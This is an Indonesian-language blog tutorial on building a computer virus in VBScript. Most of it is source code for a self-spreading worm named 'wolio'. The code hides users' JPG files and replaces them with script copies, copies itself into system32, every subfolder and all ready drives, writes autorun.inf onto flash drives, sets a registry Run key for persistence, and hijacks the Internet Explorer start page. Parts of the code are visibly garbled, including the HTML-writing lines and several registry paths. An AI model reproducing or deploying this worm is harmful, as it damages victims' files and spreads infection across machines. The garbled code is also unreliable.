Cara Membuat Virus Komputer VB - Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan
menyebar dengan cara menyisipkan salinan
dirinya ke
dalam program atau dokumen lain. Virus
komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke
sel makhluk hidup.
Viruskomputer dapat merusak (misalnya dengan
merusak data pada dokumen), membuat
pengguna komputer merasa terganggu, maupun tidak menimbulkan efek
sama sekali.
Virus yang akan kita
coba buat kali ini akan dibuat dengan
menggunakan Visual
Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari
virus tersebut. Skenario
virus tersebut adalah sebagai berikut:
1.
Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat
didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi
hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya
(virus) dalam folder-folder tertentu dalam Window.
3. Memodifikasi Registry
agar secara otomatis menjalankan script virus pada saat restar.
4. Menularkan diri pada
drive-drive yang aktif termasuk flash diskMembuat halaman HTML tertentu agar
dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih
jelasnya kita akan
pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari
file-fileJPG dan merubah-
nya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,".")) &
"jpeg")
set fbackup =
fso.GetFile(Left(target,instrrev(target,".")) &
"jpeg")
fbackup.Attributes = 2
fsource.Copy(Left(target,instrrev(target,".")) & "jpg "
& ".vbs")
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)="jpg") then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif
termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & "" &
"wolio.vbs")
If drive.DriveType = 1 And drive.DriveLetter > "C:"
Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & ""
& "autorun.inf",False)
fileautorun.WriteLine("[AUTORUN]")
fileautorun.WriteLine("RUN=wolio.vbs")
End If
End Sub
3. Merubah Registry agar Start Page pada Internet Explorer
menjalankan file HTML yang diinginkan
Sub serangan_ie()
If
(regedit.RegRead("HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet
Explorer\Main\Start
Page")<>"c:\windows\system32\wolio.html")
Then
regedit.RegWrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page","c:\windows\system32\wolio.html"
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan
menjalankan script virus
Sub buat_html()
set filehtml =
fso.CreateTextFile("c:windowssystem32wolio.html",True)
filehtml.WriteLine("")
filehtml.WriteLine("")
")
filehtml.WriteLine("Welcome to Wolio")
filehtml.WriteLine("filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("Selamat Datang di Wolio VBS ")
filehtml.WriteLine("")
filehtml.WriteLine("")
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menulari-nya
dengan script virus
Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & "wolio.vbs")
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk
mendeklarasikan
variabel dan memangggil semua prosedur
on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder,
subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject("Scripting.FileSystemObject")
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject("WScript.Shell")
myfolder = Left(fsource,InStrRev(fsource,""))
' Copy-kan diri ke "c:windowssystem32"
fsource.Copy("c:windowssystem32wolio.vbs")
' Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
' Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
' Regitry
if
(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio")<>"c:\win
dows\system32\wolio.vbs") Then
regedit.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio","c:\windows\system32\wolio.
vbs"
End If
' Copy-kan diri ke semua drive aktif
serangan_drive()
' Buat file wolio.html
buat_html()
' Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang
cara pembuatan dan
penuluran sebuah virus
yang
dibuat dengan VBS. Setelah mengetahui
teknik penyebaran suatu
virus yang dibuat
dengan VBS, maka diharapkan
kepada Anda agar
dapat melakukan pencegahan.
Virus
yang kita pelajari
kali ini sebenarnya
hanya virus yang
"bodoh", ini hanya
membuka
wacana Anda terhadap
bahaya dari virus
yang dibuat dengan
VBS. Semoga artikel
ini
dapat bermanfaat.Source nya sudah saya share di Document "Belajar visual basic bahasa indonesia
